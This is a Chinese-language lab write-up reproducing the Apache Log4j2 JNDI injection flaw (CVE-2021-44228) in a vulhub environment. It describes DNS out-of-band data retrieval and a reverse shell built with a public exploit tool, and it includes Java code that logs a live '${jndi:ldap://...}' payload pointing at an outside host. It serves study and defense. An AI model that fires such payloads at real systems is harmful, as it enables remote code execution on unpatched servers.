【漏洞复现】Apache Log4j2 lookup JNDI注入漏洞（CVE-2021-44228）

Apache Log4j2是一款开源的Java日志框架，使用极其广泛，在其 <2.15 的版本中被爆出存在JNDI注入漏洞，攻击者可通过该漏洞执行任意代码

影响版本

ApacheLog4j 2.x <= 2.14.1

漏洞复现

使用vulhub提供的漏洞环境

漏洞触发/日志记录的点：http://10.128.0.12:8983/solr/admin/cores?action=xxx

通过dns外带数据的方式，获取java版本

使用工具完成JNDI服务和恶意class文件的制作：https://github.com/welk1n/JNDI-Injection-Exploit/

尝试反弹shell（需base64编码)，启动项目自动开启监听

发送JNDI注入请求

成功获取Shell

漏洞分析

首先在pom中引入核心依赖

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

以fatal记录为例：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.IOException;

public class Main {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) throws IOException {
        logger.fatal("${jndi:ldap://asd.log.0x4cc.top}");
    }
}

调用栈如下，关键的方法已经圈出